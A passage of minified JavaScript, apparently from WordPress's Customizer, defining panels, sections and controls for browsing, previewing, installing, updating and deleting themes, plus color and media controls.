.accordion-section-title[tabindex]").first();e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open"),s.addClass("section-open"),Y.state("expandedSection").set(i)}.bind(this),t.allowMultiple||Y.section.each(function(e){e!==i&&e.collapse({duration:t.duration})}),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):(t.allowMultiple||Y.panel.each(function(e){e.collapse()}),n())):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){r.attr("tabindex","-1"),c.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open"),s.removeClass("section-open"),i===Y.state("expandedSection").get()&&Y.state("expandedSection").set(!1)):t.completeCallback&&t.completeCallback()}}),Y.ThemesSection=Y.Section.extend({currentTheme:"",overlay:"",template:"",screenshotQueue:null,$window:null,$body:null,loaded:0,loading:!1,fullyLoaded:!1,term:"",tags:"",nextTerm:"",nextTags:"",filtersHeight:0,headerContainer:null,updateCountDebounced:null,initialize:function(e,t){var n=this;n.headerContainer=J(),n.$window=J(window),n.$body=J(document.body),Y.Section.prototype.initialize.call(n,e,t),n.updateCountDebounced=_.debounce(n.updateCount,500)},embed:function(){var n=this,e=function(e){var t;Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.find(".customize-themes-full-container-container").before(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})})};n.panel.bind(e),e(n.panel.get())},ready:function(){var t=this;t.overlay=t.container.find(".theme-overlay"),t.template=wp.template("customize-themes-details-view"),t.container.on("keydown",function(e){t.overlay.find(".theme-wrap").is(":visible")&&(39===e.keyCode&&t.nextTheme(),37===e.keyCode&&t.previousTheme(),27===e.keyCode)&&(t.$body.hasClass("modal-open")?t.closeDetails():t.headerContainer.find(".customize-themes-section-title").focus(),e.stopPropagation())}),t.renderScreenshots=_.throttle(t.renderScreenshots,100),_.bindAll(t,"renderScreenshots","loadMore","checkTerm","filtersChecked")},isContextuallyActive:function(){return this.active()},attachEvents:function(){var e,n=this;function t(){var e=n.headerContainer.find(".customize-themes-section-title");e.toggleClass("selected",n.expanded()),e.attr("aria-expanded",n.expanded()?"true":"false"),n.expanded()||e.removeClass("details-open")}n.container.find(".customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.collapse())}),n.headerContainer=J("#accordion-section-"+n.id),n.headerContainer.on("click",".customize-themes-section-title",function(){n.headerContainer.find(".filter-details").length&&(n.headerContainer.find(".customize-themes-section-title").toggleClass("details-open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}),n.headerContainer.find(".filter-details").slideToggle(180)),n.expanded()||n.expand()}),n.container.on("click",".theme-actions .preview-theme",function(){Y.panel("themes").loadThemePreview(J(this).data("slug"))}),n.container.on("click",".left",function(){n.previousTheme()}),n.container.on("click",".right",function(){n.nextTheme()}),n.container.on("click",".theme-backdrop, .close",function(){n.closeDetails()}),"local"===n.params.filter_type?n.container.on("input",".wp-filter-search-themes",function(e){n.filterSearch(e.currentTarget.value)}):"remote"===n.params.filter_type&&(e=_.debounce(n.checkTerm,500),n.contentContainer.on("input",".wp-filter-search",function(){Y.panel("themes").expanded()&&(e(n),n.expanded()||n.expand())}),n.contentContainer.on("click",".filter-group input",function(){n.filtersChecked(),n.checkTerm(n)})),n.contentContainer.on("click",".feature-filter-toggle",function(e){var t=J(".customize-themes-full-container"),e=J(e.currentTarget);n.filtersHeight=e.parents(".themes-filter-bar").next(".filter-drawer").height(),0<t.scrollTop()&&(t.animate({scrollTop:0},400),e.hasClass("open"))||(e.toggleClass("open").attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}).parents(".themes-filter-bar").next(".filter-drawer").slideToggle(180,"linear"),e.hasClass("open")?(t=1018<window.innerWidth?50:76,n.contentContainer.find(".themes").css("margin-top",n.filtersHeight+t)):n.contentContainer.find(".themes").css("margin-top",0))}),n.contentContainer.on("click",".no-themes-local .search-dotorg-themes",function(){Y.section("wporg_themes").focus()}),n.expanded.bind(t),t(),Y.bind("ready",function(){n.contentContainer=n.container.find(".customize-themes-section"),n.contentContainer.appendTo(J(".customize-themes-full-container")),n.container.add(n.headerContainer)})},onChangeExpanded:function(e,n){var i=this,t=i.contentContainer.closest(".customize-themes-full-container");function a(){0===i.loaded&&i.loadThemes(),Y.section.each(function(e){var t;e!==i&&"themes"===e.params.type&&(t=e.contentContainer.find(".wp-filter-search").val(),i.contentContainer.find(".wp-filter-search").val(t),""===t&&""!==i.term&&"local"!==i.params.filter_type?(i.term="",i.initializeNewQuery(i.term,i.tags)):"remote"===i.params.filter_type?i.checkTerm(i):"local"===i.params.filter_type&&i.filterSearch(t),e.collapse({duration:n.duration}))}),i.contentContainer.addClass("current-section"),t.scrollTop(),t.on("scroll",_.throttle(i.renderScreenshots,300)),t.on("scroll",_.throttle(i.loadMore,300)),n.completeCallback&&n.completeCallback(),i.updateCount()}n.unchanged?n.completeCallback&&n.completeCallback():e?i.panel()&&Y.panel.has(i.panel())?Y.panel(i.panel()).expand({duration:n.duration,completeCallback:a}):a():(i.contentContainer.removeClass("current-section"),i.headerContainer.find(".filter-details").slideUp(180),t.off("scroll"),n.completeCallback&&n.completeCallback())},getContent:function(){return this.container.find(".control-section-content")},loadThemes:function(){var n,e,i=this;i.loading||(n=Math.ceil(i.loaded/100)+1,e={nonce:Y.settings.nonce.switch_themes,wp_customize:"on",theme_action:i.params.action,customized_theme:Y.settings.theme.stylesheet,page:n},"remote"===i.params.filter_type&&(e.search=i.term,e.tags=i.tags),i.headContainer.closest(".wp-full-overlay").addClass("loading"),i.loading=!0,i.container.find(".no-themes").hide(),(e=wp.ajax.post("customize_load_themes",e)).done(function(e){var t=e.themes;""!==i.nextTerm||""!==i.nextTags?(i.nextTerm&&(i.term=i.nextTerm),i.nextTags&&(i.tags=i.nextTags),i.nextTerm="",i.nextTags="",i.loading=!1,i.loadThemes()):(0!==t.length?(i.loadControls(t,n),1===n&&(_.each(i.controls().slice(0,3),function(e){e=e.params.theme.screenshot[0];e&&((new Image).src=e)}),"local"!==i.params.filter_type)&&wp.a11y.speak(Y.settings.l10n.themeSearchResults.replace("%d",e.info.results)),_.delay(i.renderScreenshots,100),("local"===i.params.filter_type||t.length<100)&&(i.fullyLoaded=!0)):0===i.loaded?(i.container.find(".no-themes").show(),wp.a11y.speak(i.container.find(".no-themes").text())):i.fullyLoaded=!0,"local"===i.params.filter_type?i.updateCount():i.updateCount(e.info.results),i.container.find(".unexpected-error").hide(),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1)}),e.fail(function(e){void 0===e?(i.container.find(".unexpected-error").show(),wp.a11y.speak(i.container.find(".unexpected-error").text())):"undefined"!=typeof console&&console.error&&console.error(e),i.headContainer.closest(".wp-full-overlay").removeClass("loading"),i.loading=!1}))},loadControls:function(e,t){var n=[],i=this;_.each(e,function(e){e=new Y.controlConstructor.theme(i.params.action+"_theme_"+e.id,{type:"theme",section:i.params.id,theme:e,priority:i.loaded+1});Y.control.add(e),n.push(e),i.loaded=i.loaded+1}),1!==t&&Array.prototype.push.apply(i.screenshotQueue,n)},loadMore:function(){var e,t;this.fullyLoaded||this.loading||(t=(e=this.container.closest(".customize-themes-full-container")).scrollTop()+e.height(),e.prop("scrollHeight")-3e3<t&&this.loadThemes())},filterSearch:function(e){var t,n=0,i=this,a=Y.section.has("wporg_themes")&&"remote"!==i.params.filter_type?".no-themes-local":".no-themes",o=i.controls();i.loading||(t=e.toLowerCase().trim().replace(/-/g," ").split(" "),_.each(o,function(e){e.filter(t)&&(n+=1)}),0===n?(i.container.find(a).show(),wp.a11y.speak(i.container.find(a).text())):i.container.find(a).hide(),i.renderScreenshots(),Y.reflowPaneContents(),i.updateCountDebounced(n))},checkTerm:function(e){var t;"remote"===e.params.filter_type&&(t=e.contentContainer.find(".wp-filter-search").val(),e.term!==t.trim())&&e.initializeNewQuery(t,e.tags)},filtersChecked:function(){var e=this,t=e.container.find(".filter-group").find(":checkbox"),n=[];_.each(t.filter(":checked"),function(e){n.push(J(e).prop("value"))}),0===n.length?(n="",e.contentContainer.find(".feature-filter-toggle .filter-count-0").show(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").hide()):(e.contentContainer.find(".feature-filter-toggle .theme-filter-count").text(n.length),e.contentContainer.find(".feature-filter-toggle .filter-count-0").hide(),e.contentContainer.find(".feature-filter-toggle .filter-count-filters").show()),_.isEqual(e.tags,n)||(e.loading?e.nextTags=n:"remote"===e.params.filter_type?e.initializeNewQuery(e.term,n):"local"===e.params.filter_type&&e.filterSearch(n.join(" ")))},initializeNewQuery:function(e,t){var n=this;_.each(n.controls(),function(e){e.container.remove(),Y.control.remove(e.id)}),n.loaded=0,n.fullyLoaded=!1,n.screenshotQueue=null,n.loading?(n.nextTerm=e,n.nextTags=t):(n.term=e,n.tags=t,n.loadThemes()),n.expanded()||n.expand()},renderScreenshots:function(){var o=this;null!==o.screenshotQueue&&0!==o.screenshotQueue.length||(o.screenshotQueue=_.filter(o.controls(),function(e){return!e.screenshotRendered})),o.screenshotQueue.length&&(o.screenshotQueue=_.filter(o.screenshotQueue,function(e){var t,n,i=e.container.find(".theme-screenshot"),a=i.find("img");return!(!a.length||!a.is(":hidden")&&(t=(n=o.$window.scrollTop())+o.$window.height(),a=a.offset().top,(n=n-(i=3*(n=i.height()))<=a+n&&a<=t+i)&&e.container.trigger("render-screenshot"),n))}))},getVisibleCount:function(){return this.contentContainer.find("li.customize-control:visible").length},updateCount:function(e){var t,n;e||0===e||(e=this.getVisibleCount()),n=this.contentContainer.find(".themes-displayed"),t=this.contentContainer.find(".theme-count"),0===e?t.text("0"):(n.fadeOut(180,function(){t.text(e),n.fadeIn(180)}),wp.a11y.speak(Y.settings.l10n.announceThemeCount.replace("%d",e)))},nextTheme:function(){var e=this;e.getNextTheme()&&e.showDetails(e.getNextTheme(),function(){e.overlay.find(".right").focus()})},getNextTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e+1])&&t.params.theme},previousTheme:function(){var e=this;e.getPreviousTheme()&&e.showDetails(e.getPreviousTheme(),function(){e.overlay.find(".left").focus()})},getPreviousTheme:function(){var e=Y.control(this.params.action+"_theme_"+this.currentTheme),t=this.controls(),e=_.indexOf(t,e);return-1!==e&&!!(t=t[e-1])&&t.params.theme},updateLimits:function(){this.getNextTheme()||this.overlay.find(".right").addClass("disabled"),this.getPreviousTheme()||this.overlay.find(".left").addClass("disabled")},loadThemePreview:function(e){return Y.ThemesPanel.prototype.loadThemePreview.call(this,e)},showDetails:function(e,t){var n=this,i=Y.panel("themes");function a(){return!i.canSwitchTheme(e.id)}n.currentTheme=e.id,n.overlay.html(n.template(e)).fadeIn("fast").focus(),n.overlay.find("button.preview, button.preview-theme").toggleClass("disabled",a()),n.overlay.find("button.theme-install").toggleClass("disabled",a()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded),n.$body.addClass("modal-open"),n.containFocus(n.overlay),n.updateLimits(),wp.a11y.speak(Y.settings.l10n.announceThemeDetails.replace("%s",e.name)),t&&t()},closeDetails:function(){this.$body.removeClass("modal-open"),this.overlay.fadeOut("fast"),Y.control(this.params.action+"_theme_"+this.currentTheme).container.find(".theme").focus()},containFocus:function(t){var n;t.on("keydown",function(e){if(9===e.keyCode)return(n=J(":tabbable",t)).last()[0]!==e.target||e.shiftKey?n.first()[0]===e.target&&e.shiftKey?(n.last().focus(),!1):void 0:(n.first().focus(),!1)})}}),Y.OuterSection=Y.Section.extend({initialize:function(){this.containerParent="#customize-outer-theme-controls",this.containerPaneParent=".customize-outer-pane-parent",Y.Section.prototype.initialize.apply(this,arguments)},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=o.find(".customize-section-back"),r=i.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]").first();J(document.body).toggleClass("outer-section-open",e),i.container.toggleClass("open",e),i.container.removeClass("busy"),Y.section.each(function(e){"outer"===e.params.type&&e.id!==i.id&&e.container.removeClass("open")}),e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){s.attr("tabindex","0"),s.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open")}.bind(this),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):n()):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open")):t.completeCallback&&t.completeCallback()}}),Y.Panel=a.extend({containerType:"panel",initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.panelConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e=this,t=J("#customize-theme-controls"),n=J(".customize-pane-parent");e.headContainer.parent().is(n)||n.append(e.headContainer),e.contentContainer.parent().is(e.headContainer)||t.append(e.contentContainer),e.renderContent(),e.deferred.embedded.resolve()},attachEvents:function(){var t,n=this;n.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded())||n.expand()}),n.container.find(".customize-panel-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&n.collapse())}),(t=n.container.find(".panel-meta:first")).find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e;t.hasClass("cannot-expand")||(e=t.find(".customize-panel-description:first"),t.hasClass("open")?(t.toggleClass("open"),e.slideUp(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(e.slideDown(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),t.toggleClass("open"),J(this).attr("aria-expanded",!0)))})},sections:function(){return this._children("panel","section")},isContextuallyActive:function(){var e=this.sections(),t=0;return _(e).each(function(e){e.active()&&e.isContextuallyActive()&&(t+=1)}),0!==t},onChangeExpanded:function(e,t){var n,i,a,o,s,r,c;t.unchanged?t.completeCallback&&t.completeCallback():(a=(i=(n=this).contentContainer).closest(".wp-full-overlay"),o=i.closest(".wp-full-overlay-sidebar-content"),s=n.headContainer.find(".accordion-section-title button, .accordion-section-title[tabindex]"),r=i.find(".customize-panel-back"),c=n.sections(),e&&!i.hasClass("current-panel")?(Y.section.each(function(e){n.id!==e.panel()&&e.collapse({duration:0})}),Y.panel.each(function(e){n!==e&&e.collapse({duration:0})}),n.params.autoExpandSoleSection&&1===c.length&&c[0].active.get()?(i.addClass("current-panel skip-transition"),a.addClass("in-sub-panel"),c[0].expand({completeCallback:t.completeCallback})):(n._animateChangeExpanded(function(){r.attr("tabindex","0"),r.trigger("focus"),i.css("top",""),o.scrollTop(0),t.completeCallback&&t.completeCallback()}),i.addClass("current-panel"),a.addClass("in-sub-panel")),Y.state("expandedPanel").set(n)):!e&&i.hasClass("current-panel")&&(i.hasClass("skip-transition")?i.removeClass("skip-transition"):n._animateChangeExpanded(function(){s.focus(),i.css("top",""),t.completeCallback&&t.completeCallback()}),a.removeClass("in-sub-panel"),i.removeClass("current-panel"),n===Y.state("expandedPanel").get())&&Y.state("expandedPanel").set(!1))},renderContent:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector+"-content").length?wp.template(e.templateSelector+"-content"):wp.template("customize-panel-default-content");t&&e.headContainer&&e.contentContainer.html(t(_.extend({id:e.id},e.params)))}}),Y.ThemesPanel=Y.Panel.extend({initialize:function(e,t){this.installingThemes=[],Y.Panel.prototype.initialize.call(this,e,t)},canSwitchTheme:function(e){return!(!e||e!==Y.settings.theme.stylesheet)||"publish"===Y.state("selectedChangesetStatus").get()&&(""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get())},attachEvents:function(){var t=this;function e(){t.canSwitchTheme()?t.notifications.remove("theme_switch_unavailable"):t.notifications.add(new Y.Notification("theme_switch_unavailable",{message:Y.l10n.themePreviewUnavailable,type:"warning"}))}Y.Panel.prototype.attachEvents.apply(t),Y.settings.theme._canInstall&&Y.settings.theme._filesystemCredentialsNeeded&&t.notifications.add(new Y.Notification("theme_install_unavailable",{message:Y.l10n.themeInstallUnavailable,type:"info",dismissible:!0})),e(),Y.state("selectedChangesetStatus").bind(e),Y.state("changesetStatus").bind(e),t.contentContainer.on("click",".customize-theme",function(){t.collapse()}),t.contentContainer.on("click",".customize-themes-section-title, .customize-themes-mobile-back",function(){J(".wp-full-overlay").toggleClass("showing-themes")}),t.contentContainer.on("click",".theme-install",function(e){t.installTheme(e)}),t.contentContainer.on("click",".update-theme, #update-theme",function(e){e.preventDefault(),e.stopPropagation(),t.updateTheme(e)}),t.contentContainer.on("click",".delete-theme",function(e){t.deleteTheme(e)}),_.bindAll(t,"installTheme","updateTheme")},onChangeExpanded:function(e,t){var n,i=!1;Y.Panel.prototype.onChangeExpanded.apply(this,[e,t]),t.unchanged?t.completeCallback&&t.completeCallback():(n=this.headContainer.closest(".wp-full-overlay"),e?(n.addClass("in-themes-panel").delay(200).find(".customize-themes-full-container").addClass("animate"),_.delay(function(){n.addClass("themes-panel-expanded")},200),600<window.innerWidth&&(t=this.sections(),_.each(t,function(e){e.expanded()&&(i=!0)}),!i)&&0<t.length&&t[0].expand()):n.removeClass("in-themes-panel themes-panel-expanded").find(".customize-themes-full-container").removeClass("animate"))},installTheme:function(e){var t,i=this,a=J(e.target).data("slug"),o=J.Deferred(),s=J(e.target).hasClass("preview");return Y.settings.theme._filesystemCredentialsNeeded?o.reject({errorCode:"theme_install_unavailable"}):i.canSwitchTheme(a)?_.contains(i.installingThemes,a)?o.reject({errorCode:"theme_already_installing"}):(wp.updates.maybeRequestFilesystemCredentials(e),e=function(t){var e,n=!1;if(s)Y.notifications.remove("theme_installing"),i.loadThemePreview(a);else{if(Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(n=e.params.theme,e.rerenderAsInstalled(!0))}),!n||Y.control.has("installed_theme_"+n.id))return void o.resolve(t);n.type="installed",e=new Y.controlConstructor.theme("installed_theme_"+n.id,{type:"theme",section:"installed_themes",theme:n,priority:0}),Y.control.add(e),Y.control(e.id).container.trigger("render-screenshot"),Y.section.each(function(e){"themes"===e.params.type&&n.id===e.currentTheme&&e.closeDetails()})}o.resolve(t)},i.installingThemes.push(a),t=wp.updates.installTheme({slug:a}),s&&Y.notifications.add(new Y.OverlayNotification("theme_installing",{message:Y.l10n.themeDownloading,type:"info",loading:!0})),t.done(e),t.fail(function(){Y.notifications.remove("theme_installing")})):o.reject({errorCode:"theme_switch_unavailable"}),o.promise()},loadThemePreview:function(e){var t,n,i=J.Deferred();return this.canSwitchTheme(e)?((n=document.createElement("a")).href=location.href,e=_.extend(Y.utils.parseQueryString(n.search.substr(1)),{theme:e,changeset_uuid:Y.settings.changeset.uuid,return:Y.settings.url.return}),Y.state("saved").get()||(e.customize_autosaved="on"),n.search=J.param(e),Y.notifications.add(new Y.OverlayNotification("theme_previewing",{message:Y.l10n.themePreviewWait,type:"info",loading:!0})),t=function(){var e;0<Y.state("processing").get()||(Y.state("processing").unbind(t),(e=Y.requestChangesetUpdate({},{autosave:!0})).done(function(){i.resolve(),J(window).off("beforeunload.customize-confirm"),location.replace(n.href)}),e.fail(function(){Y.notifications.remove("theme_previewing"),i.reject()}))},0===Y.state("processing").get()?t():Y.state("processing").bind(t)):i.reject({errorCode:"theme_switch_unavailable"}),i.promise()},updateTheme:function(e){wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-update-success",function(e,t){Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(e.params.theme.hasUpdate=!1,e.params.theme.version=t.newVersion,setTimeout(function(){e.rerenderAsInstalled(!0)},2e3))})}),wp.updates.updateTheme({slug:J(e.target).closest(".notice").data("slug")})},deleteTheme:function(e){var t=J(e.target).data("slug"),n=Y.section("installed_themes");e.preventDefault(),Y.settings.theme._filesystemCredentialsNeeded||window.confirm(Y.settings.l10n.confirmDeleteTheme)&&(wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-delete-success",function(){var e=Y.control("installed_theme_"+t);e.container.remove(),Y.control.remove(e.id),n.loaded=n.loaded-1,n.updateCount(),Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t&&e.rerenderAsInstalled(!1)})}),wp.updates.deleteTheme({slug:t}),n.closeDetails(),n.focus())}}),Y.Control=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaults:{label:"",description:"",active:!0,priority:10},initialize:function(e,t){var n,i=this,a=[];i.params=_.extend({},i.defaults,i.params||{},t.params||t||{}),Y.Control.instanceCounter||(Y.Control.instanceCounter=0),Y.Control.instanceCounter++,i.params.instanceNumber||(i.params.instanceNumber=Y.Control.instanceCounter),i.params.type||_.find(Y.controlConstructor,function(e,t){return e===i.constructor&&(i.params.type=t,!0)}),i.params.content||(i.params.content=J("<li></li>",{id:"customize-control-"+e.replace(/]/g,"").replace(/\[/g,"-"),class:"customize-control customize-control-"+i.params.type})),i.id=e,i.selector="#customize-control-"+e.replace(/\]/g,"").replace(/\[/g,"-"),i.params.content?i.container=J(i.params.content):i.container=J(i.selector),i.params.templateId?i.templateSelector=i.params.templateId:i.templateSelector="customize-control-"+i.params.type+"-content",i.deferred=_.extend(i.deferred||{},{embedded:new J.Deferred}),i.section=new Y.Value,i.priority=new Y.Value,i.active=new Y.Value,i.activeArgumentsQueue=[],i.notifications=new Y.Notifications({alt:i.altNotice}),i.elements=[],i.active.bind(function(e){var t=i.activeArgumentsQueue.shift(),t=J.extend({},i.defaultActiveArguments,t);i.onChangeActive(e,t)}),i.section.set(i.params.section),i.priority.set(isNaN(i.params.priority)?10:i.params.priority),i.active.set(i.params.active),Y.utils.bubbleChildValueChanges(i,["section","priority","active"]),i.settings={},n={},i.params.setting&&(n.default=i.params.setting),_.extend(n,i.params.settings),_.each(n,function(e,t){var n;_.isObject(e)&&_.isFunction(e.extended)&&e.extended(Y.Value)?i.settings[t]=e:_.isString(e)&&((n=Y(e))?i.settings[t]=n:a.push(e))}),t=function(){_.each(n,function(e,t){!i.settings[t]&&_.isString(e)&&(i.settings[t]=Y(e))}),i.settings[0]&&!i.settings.default&&(i.settings.default=i.settings[0]),i.setting=i.settings.default||null,i.linkElements(),i.embed()},0===a.length?t():Y.apply(Y,a.concat(t)),i.deferred.embedded.done(function(){i.linkElements(),i.setupNotifications(),i.ready()})},linkElements:function(){var i,a=this,o=a.container.find("[data-customize-setting-link], [data-customize-setting-key-link]"),s={};o.each(function(){var e,t,n=J(this);if(!n.data("customizeSettingLinked")){if(n.data("customizeSettingLinked",!0),n.is(":radio")){if(e=n.prop("name"),s[e])return;s[e]=!0,n=o.filter('[name="'+e+'"]')}n.data("customizeSettingLink")?t=Y(n.data("customizeSettingLink")):n.data("customizeSettingKeyLink")&&(t=a.settings[n.data("customizeSettingKeyLink")]),t&&(i=new Y.Element(n),a.elements.push(i),i.sync(t),i.set(t()))}})},embed:function(){var n=this,e=function(e){var t;e&&Y.section(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),n.container.parent().is(t)||t.append(n.container),n.renderContent(),n.deferred.embedded.resolve()})})};n.section.bind(e),e(n.section.get())},ready:function(){var t,n=this;"dropdown-pages"===n.params.type&&n.params.allow_addition&&((t=n.container.find(".new-content-item-wrapper")).hide(),n.container.on("click",".add-new-toggle",function(e){J(e.currentTarget).slideUp(180),t.slideDown(180),t.find(".create-item-input").focus()}),n.container.on("click",".add-content",function(){n.addNewPage()}),n.container.on("keydown",".create-item-input",function(e){13===e.which&&n.addNewPage()}))},getNotificationsContainerElement:function(){var e,t=this,n=t.container.find(".customize-control-notifications-container:first");return n.length||(n=J('<div class="customize-control-notifications-container"></div>'),t.container.hasClass("customize-control-nav_menu_item")?t.container.find(".menu-item-settings:first").prepend(n):t.container.hasClass("customize-control-widget_form")?t.container.find(".widget-inside:first").prepend(n):(e=t.container.find(".customize-control-title")).length?e.after(n):t.container.prepend(n)),n},setupNotifications:function(){var n,e,i=this;_.each(i.settings,function(n){n.notifications&&(n.notifications.bind("add",function(e){var t=_.extend({},e,{setting:n.id});i.notifications.add(new Y.Notification(n.id+":"+e.code,t))}),n.notifications.bind("remove",function(e){i.notifications.remove(n.id+":"+e.code)}))}),n=function(){var e=i.section();(!e||Y.section.has(e)&&Y.section(e).expanded())&&i.notifications.render()},i.notifications.bind("rendered",function(){var e=i.notifications.get();i.container.toggleClass("has-notifications",0!==e.length),i.container.toggleClass("has-error",0!==_.where(e,{type:"error"}).length)}),i.section.bind(e=function(e,t){t&&Y.section.has(t)&&Y.section(t).expanded.unbind(n),e&&Y.section(e,function(e){e.expanded.bind(n),n()})}),e(i.section.get()),i.notifications.bind("change",_.debounce(n))},renderNotifications:function(){var e,t,n=this,i=!1;"undefined"!=typeof console&&console.warn&&console.warn("[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantiating a wp.customize.Notifications and calling its render() method."),(e=n.getNotificationsContainerElement())&&e.length&&(t=[],n.notifications.each(function(e){t.push(e),"error"===e.type&&(i=!0)}),0===t.length?e.stop().slideUp("fast"):e.stop().slideDown("fast",null,function(){J(this).css("height","auto")}),n.notificationsTemplate||(n.notificationsTemplate=wp.template("customize-control-notifications")),n.container.toggleClass("has-notifications",0!==t.length),n.container.toggleClass("has-error",i),e.empty().append(n.notificationsTemplate({notifications:t,altNotice:Boolean(n.altNotice)}).trim()))},expand:function(e){Y.section(this.section()).expand(e)},focus:o,onChangeActive:function(e,t){t.unchanged?t.completeCallback&&t.completeCallback():J.contains(document,this.container[0])?e?this.container.slideDown(t.duration,t.completeCallback):this.container.slideUp(t.duration,t.completeCallback):(this.container.toggle(e),t.completeCallback&&t.completeCallback())},toggle:function(e){return this.onChangeActive(e,this.defaultActiveArguments)},activate:a.prototype.activate,deactivate:a.prototype.deactivate,_toggleActive:a.prototype._toggleActive,dropdownInit:function(){function e(e){"string"==typeof e&&i.statuses&&i.statuses[e]?n.html(i.statuses[e]).show():n.hide()}var t=this,n=this.container.find(".dropdown-status"),i=this.params,a=!1;this.container.on("click keydown",".dropdown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),a||t.container.toggleClass("open"),t.container.hasClass("open")&&t.container.parent().parent().find("li.library-selected").focus(),a=!0,setTimeout(function(){a=!1},400))}),this.setting.bind(e),e(this.setting())},renderContent:function(){var e=this,t=e.templateSelector;t==="customize-control-"+e.params.type+"-content"&&_.contains(["button","checkbox","date","datetime-local","email","month","number","password","radio","range","search","select","tel","time","text","textarea","week","url"],e.params.type)&&!document.getElementById("tmpl-"+t)&&0===e.container.children().length&&(t="customize-control-default-content"),document.getElementById("tmpl-"+t)&&(t=wp.template(t))&&e.container&&e.container.html(t(e.params)),e.notifications.container=e.getNotificationsContainerElement(),(!(t=e.section())||Y.section.has(t)&&Y.section(t).expanded())&&e.notifications.render()},addNewPage:function(){var e,a,o,t,n,s,r,c=this;"dropdown-pages"===c.params.type&&c.params.allow_addition&&Y.Menus&&(a=c.container.find(".add-new-toggle"),o=c.container.find(".new-content-item-wrapper"),t=c.container.find(".create-item-input"),n=c.container.find(".create-item-error"),s=t.val(),r=c.container.find("select"),s?(o.removeClass("form-invalid"),t.attr("aria-invalid","false"),t.removeAttr("aria-describedby"),n.hide(),t.attr("disabled","disabled"),(e=Y.Menus.insertAutoDraftPost({post_title:s,post_type:"page"})).done(function(e){var t,n,i=new Y.Menus.AvailableItemModel({id:"post-"+e.post_id,title:s,type:"post_type",type_label:Y.Menus.data.l10n.page_label,object:"page",object_id:e.post_id,url:e.url});Y.Menus.availableMenuItemsPanel.collection.add(i),t=J("#available-menu-items-post_type-page").find(".available-menu-items-list"),n=wp.template("available-menu-item"),t.prepend(n(i.attributes)),r.focus(),c.setting.set(String(e.post_id)),o.slideUp(180),a.slideDown(180)}),e.always(function(){t.val("").removeAttr("disabled")})):(o.addClass("form-invalid"),t.attr("aria-invalid","true"),t.attr("aria-describedby",n.attr("id")),n.slideDown("fast"),wp.a11y.speak(n.text())))}}),Y.ColorControl=Y.Control.extend({ready:function(){var t,n=this,e="hue"===this.params.mode,i=!1;e?(t=this.container.find(".color-picker-hue")).val(n.setting()).wpColorPicker({change:function(e,t){i=!0,n.setting(t.color.h()),i=!1}}):(t=this.container.find(".color-picker-hex")).val(n.setting()).wpColorPicker({change:function(){i=!0,n.setting.set(t.wpColorPicker("color")),i=!1},clear:function(){i=!0,n.setting.set(""),i=!1}}),n.setting.bind(function(e){i||(t.val(e),t.wpColorPicker("color",e))}),n.container.on("keydown",function(e){27===e.which&&n.container.find(".wp-picker-container").hasClass("wp-picker-active")&&(t.wpColorPicker("close"),n.container.find(".wp-color-result").focus(),e.stopPropagation())})}}),Y.MediaControl=Y.Control.extend({ready:function(){var n=this;function e(e){var 